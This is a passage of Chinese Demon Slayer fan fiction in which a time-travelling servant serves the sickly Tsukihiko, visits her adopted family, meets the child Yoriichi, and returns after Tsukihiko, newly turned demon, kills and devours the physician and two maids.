这绝非是什么危言耸听,也不是什么自我意识过剩。谁家上司会一直指定一个下属一会半夜捉蟋蟀,一会要我一直举着一个很重的花瓶给他参考进行绘画。
难道是因为我总是能躲过他那些“不经意”朝我砸来的碗和砚台?我觉得很有可能。
或许产屋敷月彦是个隐形的施虐狂,但是碍于病弱的身体和产屋敷主家的约束一直假装自己只是个脾气暴躁的病人而非变态。我看着产屋敷月彦充满怒气的脸,更加坚定了我的想法--真不是东西。
我将装满昆虫的虫笼朝产屋敷月彦的方向递去,“月彦大人,要如何处置这些东西呢?”
夏末的虫鸣本是悦耳细腻的,但是虫笼中多种虫子的叫声交汇在一起,伤害堪比一列充满着小孩哭声和短视频外放的地铁。这样的东西简直是精神污染。
我将虫笼往再靠近些产屋敷月彦的方向,他就像忽然被轻薄了般,猛地露出嫌恶的神情。苍白的脸扭曲极了,他眉头高
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高皱起,咬牙切齿,“给我把这些东西有多远扔多远!别在出现我的眼前。”
“好的大人。”我得令,提着虫笼,愉快地远离产屋敷月彦。
此时已经没有我的事了,我拿着虫笼来到了休息的院落。院落不起眼的墙角下,还摆着几个精致的草编虫笼。我将虫子分别装入虫笼中,确保每只虫都能住上单间。
哼哼,早就猜到产屋敷月彦这家伙不会收下这些昆虫,我早就准备将其收下并卖给一些喜欢听虫鸣的人。
听说现在还有人专门卖虫和培育昆虫的人,卖相好的声音清脆的虫子献给贵人们也能得一笔不菲的赏金,再加上我独家技法编造的漂亮虫笼,这回也能赚上一小笔。
我美滋滋的将它们安顿好,看了又看,满意的不得了。
忽然听到有脚步声传来,我回头,原来是樱。
我的突然回头似乎吓到了樱。“李,你的耳朵好灵啊。”
樱站在离我十米远的地方,小跑着向我靠近,手上还拿着两个小小的油纸包的东西。
她将油纸包的东西递给我,我打开一看,“哇!”是一块饴糖和饭团。此时的大米还是十分珍贵的,平民基本只吃一些小米,而总是是产屋敷家财力雄厚,对下人十分宽厚,也只是偶尔会有大米。而饴糖这是小孩子爱吃的东西,只有偶尔货郎来才能买到。
而产屋敷月彦出生时是死胎使得这座宅邸蒙上了不详的色彩,货郎极少过来。
这两样东西都十分珍贵,我不由得感激地看向樱,她双颊微红,害羞地转过头,“我怕你晚上饿,特地给你留着的。”
好像自从我被产屋敷月彦隐隐针对后,樱越发觉得是自己之前服侍不当的缘故,她被产屋敷月彦撤下才导致作为新人的我顶上,然后才会造成如今被针对的情况。
虽然我已经安慰过她这是由于产屋敷月彦烂,但她好像仍认为是自己的过错更大,因此对我十分好,总是担心我饿而给我留着些吃食。
在被半夜叫起来抓虫几小时后,我确实有些饿了,便也不再客气,将饭团吞下,一手十分豪迈地指着墙角那一排虫笼。“喜欢哪个就直接拿吧。”
樱推脱了几次,见我态度坚定,便也蹲下来,细细挑选着。樱是个很认真的孩子,也有点选择困难症,因此选东西总是要很久。
我顺手拿着院中草,继续编着花样,草线逐渐显出樱花的模样。
等到樱指着一个虫笼,说就选这个时,我也已经编织好了。我看着笼中健壮的青色蟋蟀,不由赞叹樱,“樱的眼光很好呢,这是个机灵的小家伙,我差点就抓不住了。”那个蟋蟀或许真的有些机灵,听着这么一说就停止了鸣叫,雄赳赳气昂昂地在笼内转了一圈,把樱都逗笑了。
我将草编的樱花装饰在笼子上,然后将虫笼递给樱,“这就是樱的了。”
看着樱高兴的神色,我又想起了另一个好久不见的孩子--啊啊,不知道歌和织子阿姨怎么样了,虽然医师说织子阿姨身体好转了,但果然还是要亲眼所见才放心啊。
索性我早就和管家告过假,理由就是回去探望家人。鉴于产屋敷月彦肉眼可见的针对,管事的对我的还是比较照顾,立马答应了我的假,甚至继续给我预支了下一个月的工钱。
感觉就怕我不想干了一样。
但其实我觉得这份工作还行,毕竟产屋敷月彦针对也干不掉我,除了自己生气也不能给我造成什么伤害。在这个宅邸做活也还算轻松,而且同事们也比较友好,大家聊天间消息也很灵通,让我发现了许多这个时代的商机。等产屋敷月彦去世了我还能去做点小生意看看。
想着美好的未来,我差点笑出声,但看着管家关心凝重的表情,我面上还是表现地有些难受,摇了摇头,然后叹了一口长长的气。
没有再看管家担忧的表情,我拎着几只虫笼,背着个包袱迎面向门口走去。
医师的驴车正在等着我。
5. 捡小孩
坐上驴车后,我的虫笼很快就引起了医师的注意。
倒不如说这么吵的东西很难不引起注意吧。
医师拿起了几个虫笼细细端详,然后真诚地赞叹,“真精巧的笼子啊,李小姐。”
我摆了摆手,不在意道,“还可以吧,医师您也拿一个吧,我听说现在很流行这个。”
拜产屋敷月彦所赐,我已扫清了他院落里的蟋蟀、蝈蝈、铃虫、金琵琶,因此处理起来十分阔绰。
“那就盛情难却了”,医师随意挑了一个虫笼,里面是只较为瘦弱的蝈蝈,但是声音却很响。
医师将虫笼拿到身边,微微眯上了眼睛,“庭草骤雨远去,蟋蟀鸣声可闻,原来秋已近。屋外夕阳草丛生,蟋蟀啼鸣却不厌。”
虽然不知道为什么医生突然念起和歌,但是感觉他挺高兴的,“嗯,医师,感觉您心情不错嘛,难道是因为快要到秋天了吗?”我忍不住问道。
医师点了点头,忽而有摇了摇头,“是也不是,李小姐。只是想到月彦大人的病可能快要好了,我就由衷感到高兴。”
也许是医者仁心,医师对产屋敷月彦十分包容,对其病情的治疗一直都十分上心,这回顺路带我也是因为要去歌的家附近的山头采药。
还真是个好人啊,我内心忍不住感慨。
不过产屋敷月彦身体好不好与我也没什么关系。我还得卖了这些昆虫,给织子阿姨和歌带点新布料做衣服呢。对了,还得带两只鸡回去。
“医师,麻烦在直走过去的第三个路口停停!”
我与医师在村道门口分别,他采完药之后还要回一趟产屋敷家,约定三天后正午来接我。虽然对方说要送我到歌和织子阿姨的家门口,但是看着已经不早了,送我来回还要耽搁不少时间,这样采药不便,我还是婉拒了对方的好意,自己带着大包小包下了驴车。
*
乡间的空气很是清新,路上没什么人。
或许是心情愉悦的关系吧,我带着许多东西却也不嫌重,甚至边哼歌还边小步跑。
向前走着,周围的田地从荒凉渐渐变得生机勃勃,看来快到了。
我继续哼着歌,看见远处稻田上有两个小不点,眯眼定睛一看,其中一个就是歌。
“歌,我回来了!”我大声打着招呼,看见歌愣了一会,然后飞速朝我奔过来,另一个小不点紧随其后。
“姐姐!你回来啦!”歌的声音比她更快地向我奔来,我被她话里的喜悦所感染,放下了装着鸡的竹篮。
歌冲过来的速度很快,劲头猛的都差点要摔跤了。我正准备去扶,另一只手却更快。
“歌。”是歌旁边的小不点,他一手将歌的冲劲缓住,使其稳稳停下,然后眼睛看着歌没事,再转头看看我,但是好像性格内敛,并没有再说其他话。
凑近看,我这才发现这孩子长得有些奇异。
他有着深红色的头发,带着一对红日耳饰,额角有着一道奇怪纹路的疤痕又或许是胎记。身上的衣服材质不错,像是大族才会穿的料子。
“谢谢你,缘一。”歌站定后就露齿微笑,立马冲上来抱了我一下,“姐姐,好想你!欢迎回来。”
然后她在我身边蹦蹦跳跳,一会指着我,一会指着田地,一会指着缘一。
“姐姐!妈妈好多了!我把田地照顾得很好哦!小鱼们也活得很好!这个是缘一,这个是姐姐。缘一是......”因为激动,歌的话又密又长,她试图将我离去一个月内的事情立马告知我,好像这样能填补我不在的时候的空白。
从她的话中,我也粗浅了解到了织子阿姨的身体好转了许多,缘一是之前离家出走被她捡回家的小孩。
什么,小孩捡小孩?
我本来想说随便捡人可能会有危险,但是一看到那个叫缘一的小孩安静又乖巧的样子,再加上我也是被歌捡来的一员,话便也咽下了。
我揉了揉歌的脑袋,并不打断她说话的形状,只是从包裹中拿出两块饴糖。一块给她,一块给缘一。
“不着急,歌,我们一起回去,让我好好听你说。”我牵着歌,歌牵着缘一,三人一起回家。
回到歌的家,织子阿姨见我回来,也迎接过来。我看着织子阿姨红润的脸,感觉她气血充足,确实是健康了不少。
织子阿姨说要做顿丰盛的饭来庆祝我的回来,我有些不好意思,从包裹中拿出了买来的吃食和买来的稻米。
织子阿姨笑了笑,“李,不过今天有意外收获哦。”她带我来到了屋后,那里赫然是一只野猪!野猪大约有半米高,通体黑褐色,背上有一道贯穿伤。
野猪的攻击力可不是盖的。我有些紧张地看向织子阿姨,担心她是否被野猪攻击了。
看着我的神色,织子阿姨只是浅浅笑了一声,“没事的,不要担心我,这都是缘一的功劳哦。”
歌也过来了,骄傲地站在缘一身边,“这头野猪是缘一咻的一下就打倒的哦,超厉害的。”
缘一站在一旁,表情有些羞涩,抿着嘴笑了。
什么!是这个孩子做的吗?我看着缘一小小的身体,百思不得其解。
这孩子莫非超级赛亚人......
我暂时没有得到答案,看着天色渐晚,于是安顿了鸡,将买来的衣料给织子阿姨,带给了歌时兴的发饰。而到了缘一这,因为事先没预料他的存在,我没有为其准备礼物,只得窘迫地掏出了一个草编的蟋蟀。
然而缘一还是说着谢谢收下了,小心珍藏的样子让我有些不好意思。
我们四人一起准备了晚餐。今天的晚餐十分丰盛,野猪的加持加上我买来的盐,我感觉伙食已经超过了我猛猛在产屋敷家干的饭。
我看着缘一安静地用餐,他吃饭的姿态很是优雅,同产屋敷月彦差不多。
感觉是大户家出来的孩子啊。
可是这么小的孩子究竟怎么一个人制服野猪的呢?
我暗忖,还没来得及收回观察缘一的视线,却看见缘一径直看了过来,好像有话说,然后不知道想到了什么,看着歌,又收回了视线。
歌接受到缘一的视线,楞了一下,然后突然福至心灵,抿了抿嘴,眼睛眨巴眨巴,和缘一似乎对着什么信号。
织子阿姨嘴角漾着笑,看着两个小萝卜头的互动,不说话,只是
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往他们和我碗里添了些肉。
我看着这一幕,只觉得心里像是有糖化开,有一种甜味漾开。唔,是饭嚼久了淀粉转化为麦芽糖了吧!我赶紧将饭咽下,吃起了织子阿姨夹过来的肉。
嗯!香!
*
周围地里种下的作物还没成熟,因此蔬菜的补充还需要靠野菜。我带着歌和缘一去附近采野菜,顺便捉些虫子。好看的虫子我拿去售卖,而一般的就拿去喂鸡。
而肉了话之前的搭建的鱼池里面鱼在好好地繁衍,野猪肉也剩下许多通过风干和各类方式贮存;之前带来的两只鸡还在长身体,等到了能下蛋的年纪就可以孵蛋然后就有更多的鸡了。
肉蛋奶补充计划至少完成了前两个,我对自己还是比较满意的。我正思考着奶制品该如何获取时,突然像是心有所感,一转头,发现缘一不知何时站在我身后。
我简直就像猫背后被放了个黄瓜,一下子简直想跳起来!
他是什么时候在我背后的?我一点都没察觉。
缘一身后传来歌的声音,“缘一,你不是想要和姐姐说的吗。”她鼓励地看向缘一,小手拍拍缘一的背。
这似乎给了缘一极大的力量,他向前一步,向我讲述了他的来历。
原来这孩子是大族继国家的小儿子。他与兄长继国严胜是双胞胎,双生子在这个时代本就被认为不详,再加上他出生时额角有火一般的胎记,更是一出生就要被扔掉。
若不是母亲拼死护住他,他可能早已殒命。然而父亲仍是总是对他说他是不详的征兆,会给国家带来灾难,并将其养在仓库内,要求其十岁时就得离开家去往寺庙。他的兄长偶尔会来看望他,两人会一起玩耍。兄长是家族定下的家主,致力成为国家最强大的武士。但是,当缘一的战斗天赋展现出来时,父亲就想要放弃兄长,将其作为继承人培养,缘一与兄长待遇逆转。
母亲去世后,为了不给兄长造成困扰,缘一便留下信说自己去寺庙并离家出走。然后,他跑了一天一夜后,就被歌捡到了。
缘一平静地叙述着自己的过往,他浅红的眸子平静无波,好似没有什么能在里面掀起波澜。
可是他身上却分明散发着悲伤的气息。
什么渣爹造成的家庭伦理惨剧。我忍不住叹了口气,看着歌拍着缘一的背,我也揉了揉缘一的脑袋。
这孩子,即使受了很多不公正的待遇,但是却没有怨天尤人,只是平静的接受了一切,好像这就是自己的命运。
“缘一,谢谢你告诉我这些。”我蹲下身,直视着缘一,“你并不是什么不详的征兆,国家也并不可能因为一个人的诞生而覆灭。”我顿了顿,看见歌在旁狂点头。
缘一楞了一下,然后嘴角勾起来,“嗯,母亲也是这么说的,但是......”缘一的嘴角又放下,他清亮的眼睛望着我,他的视线扫过我的头部、颈部,然后疑惑地开口,“但是,姐姐,我能看到你的血是怎么流动的,我能看到你的心是如何跳动的,这难道也是正常的吗?”
我看着缘一,他的眼睛映出了我茫然的神情。
唉?
我的心猛地跳动。
6. 仿真机器人?
听到缘一的话我有些震惊,但是我很快就缓过来了。
人都能穿越了难道还不许有点超能力什么的。
震惊过后,我看着缘一,仔细观察。这个年头难道真的有什么改装仿生机器人吗?
皮肤,真皮。头发手感,不错。我回忆着之前观察的东西,再仔仔细细打量这孩子。
缘一被这番仔细打量,并不手足无措,只是就这么站着,好像一棵树自然而然生长在那里。只是缘一眼底有些细微的期待和悲伤。
就算是仿生机器人感情也不会如此细腻。
如果一直不被认可,一直被当做异类,那样该何以为继呢?我深呼吸了口气,尝试将情绪放缓,使得话语显得不那么虚伪和客套。如果这孩子这能看到血液流动和心脏跳动了话,安慰的虚伪将会在他通透的世界中一览无遗。
“缘一,这只是一种天赋。虽然我没见过这样的事情,但是大千世界,无奇不有哦。每个人都有自己的天赋,只是需要挖掘而已。”而且这种通透世界岂不是还能当X光用?
就像我还能莫名其妙穿越一样,这种人形检测仪存在也是很正常的吧......
不过,“继国缘一”,我严肃起来,很认真和缘一对视,不放过他任何的微表情。这使得两个小萝卜头都紧张起来,歌呼吸都停了一瞬,眼睛紧张地飞速眨巴眨巴。
缘一不知想到了什么,也面无表情地抬起了头和我对视,不过手却紧张地捏了起来。
“hey,继国缘一,请你告诉我,2的10次方是多少。”我缓缓将问题说出,确保自己的霓虹语标准无误,方便接收。
“哎......?”对面传来异口同声的迷惘回答。我看着缘一茫然无措的神情,终于释然,轻轻揉了揉他和歌毛茸茸的脑袋。
这下肯定不是机器人了,谁家机器人不会顺便算术啊。
我若有所思,抬头看着两个紧张兮兮盯着我的小孩,不由好笑。
“所以原来缘一不是座敷童子吗?”歌惊叹道,她虽然没理解我为什么这么发问,但是她很快就感知到了我对缘一的戒备彻底放下,她表情只是单纯的不解。
咦?不是,原来歌你觉得他是座敷童子还是要带他回家吗?
“所以为什么是座敷童子啊......”我忍不住吐槽,又看向显然充满疑问的缘一。
哎,这个问题确实有点怪,既然这孩子不是机器人我是不是还得解释次方是什么来着。
然而缘一只是有些羞怯地抬眼,“所以,姐姐,问题的答案是什么呢?”
“1024。”我脱口而出,一面庆幸自己没有问出类似7654321乘1234567是多少这种问题。
听到答案,缘一又将其重复了一遍,抿着的嘴终于松开,释怀地笑了出来,一时间显现出符合这个年纪的天真和稚气。歌也由衷地高兴,为朋友搬去了心上是巨石让她也如释重负,牵着缘一蹦蹦跳跳起来。
不知何处飞来的各色蝴蝶,它们围绕着缘一翩跹起舞。歌停下了蹦跳的脚步,微张着嘴,看着又是羡慕又是高兴,“缘一,好厉害。”
忽然又有小鸟飞来,径直飞向缘一肩头开始梳理羽毛。
这回轮到我目瞪口呆了。
好的,这肯定不是什么仿生机器人,这分明就是迪O尼公主哇。
在与歌和织子阿姨和缘一待了几天后,我又痛苦万分地等待着去产屋敷家报道。
上班真是痛苦啊。
以前做五休二就已经让人感觉被抽干了精气神,更别提现在干了几个月才休息这两三天。我感到自己的脚步变得沉重,四肢变得无力,人生变得灰暗。
啊,上班......
我怏怏将捉来的一些虫子喂给鸡,一面望着村口的路。
然而,太阳高照,太阳西斜,月亮升起,过了约定的时间,医师还没有出现。
虽然认识不算久,但是我却相信医师不会失约。
不会是出什么事了吧。我绕去山上之前遇见医师的地方,嗯,捕兽陷阱没被触发。我举着火把,四处观察,依旧没有找到医师的踪迹。
然而火油并不充足,火光微弱,没一会也熄灭了。明月高垂,撒下光辉。我放下了火把,就这么暗中走着,蓦地看见远处草地上上的暗红色的浆果,顺手便跑去摘了点。
老实说,我最近夜视能力好到让我有些惊讶。如果能数据化我的身体,我都怀疑我的敏捷、力量、耐力都有大幅提升。难道穿越后的风水养人,定能让我变得更健康,还是医师的药剂里有鱼油和蛋白粉啊?
我不得其解,但感觉这也并不坏。如果是医师药剂的功劳,下次问问能不能买点来给织子阿姨她们喝喝啊。咦,不过如果药剂这么有用,说不定产屋敷月彦也能恢复健康呢?
我揣着野果,一想到产屋敷月彦,心情有些微妙。就他那种惜命的表现,或许是提前召回医师了。
那医师果然应该是先出发了吧,只是忘记通知我了。到处找不到医师,我只好先回到村子,打算睡一觉再趁早出发,等到了产屋敷的宅邸再问问医师的行踪。
延迟半天上班显然也没让人觉得好受多少。
第二天早上,我简单洗漱过后,就打算出发去产屋敷宅邸。我认路还挺强的,虽然几次从产屋敷宅都是靠着医师的驴车,但我早在第一次去时就记下了路线。靠步行过去了话,大概也只是要走半天左右。
揣着织子阿姨给我准备的干粮,我再次检查了一下小屋的装备。我从前的诸如手机的东西被藏在了屋内的最隐蔽处,而防狼喷雾以及一些便携的武器被放在了就寝的地方。虽然缘一的武力值比较逆天,但是考虑到方方面面的隐患,我还是准备了诸如锋利的刀刃和一些箭矢。
就是可惜我不会制作火药。我深感遗憾,不过如果真的制作出火药怕也是比较麻烦,毕竟这可是穿越小说中逐鹿群雄金手指标配。还说火药放在霓虹这种各村战争中好像过于逆天了吧。
被自己的想法雷到,我的嘴角忍不住抽搐了一下。“歌、缘一,你们要好好吃饭哦。我就先去上班啊不是,先继续去工作了。一些防身的东西放在了......”我看着两个小不点,开始继续交代一些事项。
两个小萝卜头手背在身后,频频点头,一副认真听讲的样子。
咦,认真听讲......这俩孩子现在这9岁多的年纪大概也就小学一二年级吧,说起来这个年代有类似私塾能上课的地方,我有些神游天外,讲话的声音也顿住了。
缘一和歌好像找到了机会,扭头互相对视了一眼,相视一笑,然后从身后套出了一个
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漂亮的花环。
这个花环很漂亮,酢浆草的嫩绿的茎叶缠绕成环,紫云英点缀其中,煞是可爱。这花环编织地极为精巧,茎叶的尾部都被编在中间,因此没有草头冒出。
“哇,好棒的手艺。”我不禁感慨。下次回来就教他们一起编虫笼吧,这么巧的手艺呢。
歌向我招招手,示意我蹲下。我顺势蹲下来,漂亮的花环就被套在了我头上。
“嗯,果然大小很合适,看来我没有估计错。”歌满意地点头,转头,也不吝赞美缘一,“缘一采的花叶很漂亮哦。”缘一不好意思地笑了。
织子阿姨看着玩闹的我们,神色十分温柔。经过这几天的观察,我感觉织子阿姨的身体确实好了不少,缘一和歌的乖巧懂事使得她身上的担子小了很多,加上养鱼和养鸡也能有稳定的肉蛋来源,织子阿姨也不再说什么等她走后让我好好照顾这两个孩子的丧气话了。
再加上我和缘一比划了许久,让他尝试通过通透世界看看织子阿姨是否有血管堵塞或者一些陈年暗疾,得到的结果还是比较乐观的。
我终于能放心回城了。
下次回来,要不要买个猪仔呢?我忖度着,告别了他们,迈出了上班的步伐。
但此时的我,无法意识到,这个下次变得竟然遥遥无期。
产屋敷月彦半躺在床上,半身都是血,案旁是喝了一半的药。
门是半开的,月光照在他苍白的脸上,更显得惨白阴森。
他看着地上医师的尸体,面无表情。
门外的下女跪坐在门口,身子颤抖,并不知道发生了什么。
她只听到医生的一声惨叫,而后便是长久的沉默。
是起了什么冲突吗,月彦少爷发怒了吗?为什么医师没有声音了。她心里有着不妙的想法,但只是低头看着走廊,似乎这样就好像什么都没发生过一样。
她忽然听到起身的声音,一双赤裸的脚出现在视野之内。
那双脚沾着血!
她咽了口唾沫,身子更加抖了。
“少爷......”这句话戛然而止。她只感觉脖子一痛,就再也没有知觉了。
产屋敷月彦看着自己变得强劲有力的手,有些茫然。难道药剂是有用的?
他回望内室,医师还躺着地上,脖子处被一把刀插着,鲜血横流,早已没有了生气。
或许自己做错了什么,这个念头在产屋敷月彦心里一闪而过。然而下一秒他就对此嗤之以鼻。
他听见了走廊外传来的脚步声,看着地上这一片狼藉。
来不及收拾了啊,他抬头,看着赶过来惊恐要叫出声的那个下女,忽然感觉有点饿。这种饿来得迅速又猛烈,让他无法忽视。以往病弱的身体从未泛起过的强烈食欲让他陌生。
他的眼神直直盯着闯过来的食物,原本漆黑的眸子变得血红一片。
没有任何犹豫,他很自然地上前,在下女惊恐的目光中扼住了她的喉咙,制止了其即将脱口的惊呼。
然后,他张开了嘴。
食物挣扎时,产屋敷月彦看见有什么东西掉落,但是他并不在意。
吃得差不多了,他从衣中拿出了个手帕,擦了擦嘴,在其他人来之前悄声离去。
血泊中,一个草编的中国结吸满了鲜血。
7. 恐怖睡前故事
老实说这还是我第一回自己独立进城。
织子阿姨和歌住的村庄离城镇较远,以往的热闹也被疫病带走,即使是小型集市也没有了。而我刚一穿越,背靠山林,手无钱财,也只能先过自给自足的农耕捕猎生活。
我上次也是跟着医师来,因而买卖好自己所要的东西后,也不想耽误医师时间,便匆匆离开了。
这回的街上的人比上次少了许多,大多人行色匆匆,似乎在害怕着什么。
究竟发生了什么?
前面的摊子上摆的正是虫笼,一个皮肤黝黑的少年坐在那里,似乎在等着什么。
我上前去大声打招呼,“早上好啊,少年。”
那个黑皮少年抬起头,认出了我,“咦,你就是那个上次卖给我虫笼的人。”这个少年是替他的父亲看守摊子的。近来贵族们以欣赏虫鸣为雅,他的父亲在将抓到一只虫鸣响亮清脆的金琵琶献给一位贵族后就被其赏识,并要求其收集更多健壮叫声清亮的昆虫。少年与其父亲也因此发现了商机,一面自己尝试饲养一面直接收购昆虫。
当然,我本来没有这么灵通的消息,都是那位产屋敷月彦宅中前辈下女们聊天时顺口提到的。
我仔细端详着摊子上的虫笼,嗯,没有我编制的精致,放心了。审视完竞品后,我开始向少年打探现在的行情,“之前的鸣虫可还满意?大人们还收吗?”
“你的虫笼倒是比较精致,深得贵女们的眷顾。不过虫子了话,倒是比不过我们这的健硕”。少年撇撇嘴。
我不服输,拿起摊位上的虫笼端详。可恶,他这里的确实肥硕些,不过肯定是有在卖前再喂给虫子吃东西吧。
不过生意还是要继续的,“你知道产屋敷家吗?我在那里做工,要是要继续收虫笼了话可以到那里的小门找我。我们可以定期交易。”当然,如果不方便了话我也可以求求情,偶尔和下女们换班来这市集上再来找他。
听着我的话,少年神色古怪中闪过一丝惊惧,“产屋敷月彦少爷那家吗?”
我点点头,心道果然产屋敷月彦臭名昭著。
“哈哈,那处去的不是很方便”,少年倒是圆滑,没说那里不详,只是打完哈哈后又继续补充,“你最近还是小心些。听说现在城中出现了吃人的妖物。”他的表情变得有些严肃。
“最近夜间城里已经有好多女人和小孩遇害了。我还以为妈妈以前说的是骗人的......”他显然十分害怕,咽了咽口水,他好心提醒,“你晚上也别出门了,半夜再去抓玲虫和金琵琶也不划算。”
他显然没有想到会有人半夜被叫起来在宅邸里抓玲虫。
我谢过少年的提醒,并约定如果有虫笼会来市集里卖给他。
只不过,吃人的妖物,专吃女人和小孩吗?“你说的妖物是怎么回事呢?令堂说过什么呢?”
我问的问题似乎十分愚蠢。黑皮少年面露一副“什么你妈妈没和你说过”的眼神,但还是向我解释起了妖物。这里所有的小孩小时候都似乎听过这么一个故事,如果晚上还不好好睡觉,要去外面玩闹,就可能会遇见一个四只手的怪物。他专吃小孩和女人,不听话的小孩会直接被他抓起来一口吃掉,连骨头也不用吐。
这本来应该是无伤大雅的睡前恐怖故事。
只是,故事竟然成真,城里真的有吃人的怪物!黑皮少年解释完,脸色又难看了起来。
这样确实不妙啊。
告别黑皮少年后,我只想着快点到产屋敷府里,然后找医师借驴车回去通知歌和织子阿姨。
街边的铺子有卖糕点的的,想到了樱,我数着钱币,买下了两个椿饼,然后匆匆向宅邸的方向赶去。
产屋敷月彦端坐在室内,抿了一口粟茶。内室已焕然一新。昨晚的染血的榻榻米早已被换下,管家跪坐在一旁,面色有些凝重。
昨夜,宅邸里的医师和两名下女遭遇了妖物的袭击,尤其是其中一位下女,她的肢体甚至是不完整的。
管家回忆着那惨状,不寒而栗。一定是怪物,他想,那样大的伤口,那样非人的攻击,除了怪物他不做他想。
他不能深想医师身上的刀伤从何而来。他看着表情淡然的产屋敷月彦,只感觉心里有种不安。按照产屋敷月彦的大人的说法,这一定是医师拿刀与怪物搏斗后被怪物用刀反杀了。至于产屋敷月彦本人那时,恰巧幸运地离开庭院想要散心从而逃过一劫。
是的,幸运,还好产屋敷月彦没有受伤。管家看着产屋敷月彦的脸依旧如此惨白,心道自己实在太过多疑,月彦大人是如此的虚弱,怎会......
“你在看什么?”产屋敷月彦眯起眼,转过头扫视着有些惶惶不安的管家。
“月彦大人,我只是在想医师不幸遇难,现在是否需要继续为您召集医师?”之前的有医师给产屋敷月彦看病后,寓言其活不过20岁,产屋敷月彦曾因此大发雷霆,赶走了许多他所谓的“庸才”“蠢货”。
那位与产屋敷家族有旧的医师登门来为产屋敷月彦调理后,产屋敷月彦的身体至少没有继续恶化下去。而现在,那位医师不幸遇难,而产屋敷月彦离20岁也不过半年。
“当然,抓紧时间,只是别继续叫来那些蠢货”,产屋敷月彦讥讽一笑,忽然又话锋一转, “不过,医师毕竟是在我的宅邸遭遇不幸的,你记得派人去慰问一番。”
这突然的反常人性关怀使得管家还有些哑然,“那下女们也?”
产屋敷月彦本想训斥这些卑贱的东西还提起来干什么,但忽然想到了什么,话转了弯,“你看着办吧。”
管家离开内室人还有些懵,产屋敷月彦大人这般性情大变倒是好事一桩。只不过在他询问要不要请些阴阳师或者咒术师来宅邸里守护时,产屋敷月彦大人又是怒气冲冲,训斥他是不是被吓破了胆。
可是现在怪物肆意,还是需谨慎些。管家叹了口气,准备去收拾下女们的身后
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事。
产屋敷月彦继续喝了一口杯中的茶,又想昨日的情形。
在收拾好现场后,他等着管家和护卫闹腾腾地巡视宅邸,假装自己要先行休息,化作一个体格健壮的男子在城中又去找了些食物。
他漫步在巷中,月色暗淡,快要天明了。他看着自己手臂。手臂上肌肉迸发,他一甩手,手指变为五道利爪。他轻轻伸手向巷子一划,深深的爪痕赫然出现。这甚至还是他控制着力道的结果。
这就是我想要的。产屋敷月彦满意地想,人生前十九年病弱的时间只是一个意外,他终究是被命运眷顾的。只不过是要吃些不同的食物罢了,他回味着嘴里的味道,感觉自己的实力又增长了不少。
就这样下去,别说产屋敷家族了,就算是这个国家的最高位,自己想要取而代之怕也是很容易。产屋敷月彦想着,嘴角的笑意无法制止。
此时,太阳升起,阳光熹微。
产屋敷月彦走出巷子,忽然觉得一股剧痛席卷全身。他下意识退回巷子的阴影中,看着自己焦黑的手臂,简直像被灼烧了一般。
该死该死该死。产屋敷月彦蜷缩在阴影中,看着那并不强烈的光,心里有了些不妙的猜想。“那个贱人!”他想着医师,忍不住咒骂出声,恨不得再去补几刀。听见远处有脚步声,他咬了咬牙,将身形变换为一个小孩子,将衣服披在身上,快速移动在各个阴影处,艰难辗转回宅邸。
这痛苦的回忆使得产屋敷月彦又烦躁了起来,一口气将粟茶饮尽。他捏了一下手中的杯子,瓷杯迸裂,杯子锋利的碎片划过他的肌肤,血痕出现在他惨白的手上。
产屋敷月彦举起手,看着血滴从伤口处流出。滴滴血汇聚,然而还未等它们按着地心引力坠下,血痕渐渐淡去,有伤疤忽显,而后又极快消失不见。再一看,手上伤口竟以完全愈合。唯有几滴血还彰显着伤口曾经存在过。
这般惊人的恢复速度别说一个病弱的人,就是一个身体强健的武士也不可能实现。
产屋敷月彦将手指放在嘴前,伸舌卷去了那几滴血,眼中红光乍现。
如果说医师的药有效但又存在副作用,想要完善它,必然需要一个实验体。而服用药物的除了他,还有一个试药下女。
他回忆起那个下女灵活的身影,似乎在考量着什么,手指弓起敲打着桌面。“之前那个下女呢?”产屋敷月彦问着门外的下女。
门外的下女并不是常服侍产屋敷月彦的那批人,有妖物的传言加上产屋敷月彦的喜怒无常早让她害怕。面对主人的发问,她战战兢兢地回复,“月彦大人您说的是李吗?她有事请了几天的假,今日应该能回来。”
产屋敷月彦看着外面的阳光正盛,他不适地眯了眯眼,吩咐道,“如果她回来了,叫她第一时间来见我。”
门外下女连声应下,心中不由有些担心李。
然而,这一切我并不知晓。我只是匆匆赶到了产屋敷月彦的宅邸。
8. 私活
揣着行囊,我几乎是飞一般地奔向了产屋敷月彦的宅邸。
然而,越靠近,我却越感觉不适。这是一种出于本能的反感,但我无法区分这是否是对工作的厌恶。
我压下心中的异样,与门房打了个招呼,从小门冲进休息的地方。放下行囊,此时休息的地方竟诡异的没有人。
今天这么忙吗?
我转到车屋处,医师的驴车赫然在那里。
太好了,看来医师在宅邸里。我放下心来,打算去找人问问医师在哪。我抬头看看太阳的位置,嗯,现在应该是饭点,先去吃饭的地方找人吧。我将椿饼揣着,想着刚好也能去找樱。
然而当我进入吃饭的地方时,却感觉一片诡异的沉寂。下女们大多都眼圈泛红,眼下一片青黑,似乎都没有睡好。见我回来,有人张嘴叫我,“李,你回来了。”
难道是产屋敷月彦终于被上天收去了?这么突然吗?我是也要帮忙哭灵吗?我疑心自己干一行倒一行的魔咒直接将产屋敷月彦干倒了,还有些忧心未来的出路。
怀着这样沉重的心,我走到她旁边,和她打了招呼。她的兴致似乎不高,但仍是挤出了笑,似乎想和我说些什么,但是嘴一张,却又是将话收回去了。
对方不想说我也不追问,我只是去打了今天的饭食,又坐在了她的身边。
今日的吃食出奇的清淡,仅是一些稀粥和蒸菜。赶路有些饿,加上我本就打算在工作时多吃点,一晚稀粥加蒸菜便很快全部下肚。我四处张望片刻,还没等到樱来,不由向着之前先和我打招呼的下女问道,“咦,樱她今天在做什么,还不能来吃饭吗?还有医师呢?我看他的驴车还在呢?”
这些问题似乎将那位下女的情绪开了闸,她的鼻头也开始泛红,大滴大滴的泪从眼眶滑落,“樱她......,樱她和阿春姐姐还有医师都被怪物给杀了。”
咦?她在说什么。
怀里的椿饼似乎要将我灼伤,我拿出两个椿饼,一时怔怔无言。
啊......樱她吃不到了啊。
我看着今日清淡的吃食,又默默去添了饭食,饭食入口,寡淡没有什么滋味。看来今日的饭菜是下人中心照不宣的丧中会食,为那些逝去的生命默默哀悼。
下女们擦拭着泪水,互相安慰着。即使是那位年长的下女也是动容,不时叹着气。她们有些人是帮着樱擦拭伤口的,有的是早上与樱吵闹指责她睡姿奇怪的;也有的是受过医师恩惠,为家人求过一剂药的;有的阿春替其顶班,到产屋敷月彦前服侍的。
